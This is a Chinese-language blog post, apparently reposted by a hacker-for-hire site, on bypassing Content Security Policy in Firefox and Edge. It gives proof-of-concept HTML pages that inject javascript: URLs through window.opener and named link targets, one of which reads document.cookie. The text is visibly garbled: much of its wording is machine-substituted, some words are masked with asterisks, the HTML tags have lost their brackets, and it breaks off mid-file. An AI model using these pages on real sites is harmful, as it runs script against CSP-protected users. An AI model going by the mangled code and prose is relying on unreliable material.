在2019年对csp研讨过一阵,发现能够经过其他的dom向存在CSP的dom注入javascript协议,来到达绕过CSP的安全防护。
众所周知,CSP(内容安全战略)有两种 *** 来设置,一种是经过浏览器器呼应头,如下:
Content-Security-Policy:sc-src 'self' https://apis.google.com
还有一种便是经过标签进行设置,如下:
meta http-equiv="Content-Security-Policy" content="sc-src 'none'">
我发现这存在一个问题,假如某页面设置了CSP,而同源下其他页面不做CSP防护的话,黑客能够使用opener和target目标来对存在CSP的页面做一个进犯。不了解这两个目标的同学能够参阅p牛的target进犯的介绍以及我在17年投稿的那儿文章。
回到正题,以opener为例,为此咱们创立两个进犯文件,go.html与attack.html
html>
head>
title>CSP Testtitle>
meta http-equiv="Content-Security-Policy" content="script-src 'none'">
head>
body>
a href="./attack.html" target="_Blank">csp_let's_goa>
script>alert(location.href);script>
body>
html>
html>
head>
title> csp gotitle>
head>
body>
script>parent.window.opener.location = "javascript:alert(location.href);"script>
body>
html>
把两个文件放在一个目录下,你会发现,go.html由于设置了CSP,他的 *** 代码不能答应。可是假如在Firefox中点击了csp_let’s_go, *** 就会履行,那是由于Firefox对该目标没有做防护。
而这在Chrome、Edge、Safiri中是不被答应的
便是这样,经过同源战略答应注入js,绕过了CSP的约束,相同的能够使用target来进行,这将分为两个html文件,go.html与target.html
html>
head>meta charset="utf-8">head>
body>
a href="./target.html" target="baidu" id="baidu" onclick="return start()">click mea>
script>
function start() {
setInterval(function() {
baidu.href="javascript:alert(location.href);";
baidu.click();
}, 5000);
}
script>
body>
html>
html>
head>
title>CSP Testtitle>
meta http-equiv="Content-Security-Policy" content="script-src 'none'">
head>
body>
csp bypass
body>
html>
相同的,这能够绕过火狐的CSP战略
关于这两个缝隙火狐给予了确认,火狐的回复是:
On the one hand this is injecting a javascript URL into the other document, which ought to be blocked. On the other hand it’s hard to get too excited because parent.window.opener.alert(location.href) would be perfectly valid — the script is being run by a context that allows it, manipulating a DOM it’s allowed to by the same-origin policy.
Edge Bug导致存在相同的问题
发现这个问题是由于在Edge测验如上代码的时分我发现我的系统资源CPU和内存被Edge占用了很高,所以我打开了调试台,看到了如下状况。
go.html一向向target.html抛出javascript协议,可是target由于CSP战略不断回绝,go.html就会将被回绝的恳求从头恳求一次,在加上时刻函数累加上的恳求,这儿成指数增加,导致了系统资源被耗尽。
在这种状况下对页面进行改写,能够绕过CSP:
当然这种状况下要用户自动去改写页面或许对DOM进行操作,咱们能够模仿改写来看到这个Bug:
html>
head>
title>CSP Testtitle>
meta http-equiv="Content-Security-Policy" content="script-src 'none'">
head>
body>
a href="./attack.html" target="_Blank">csp_let's_goa>
script>alert(document.cookie);script>
meta http-equiv="Refresh" content="1" />
body>
html>
html>
head>
title> csp gotitle>
head>[1][2]黑客接单网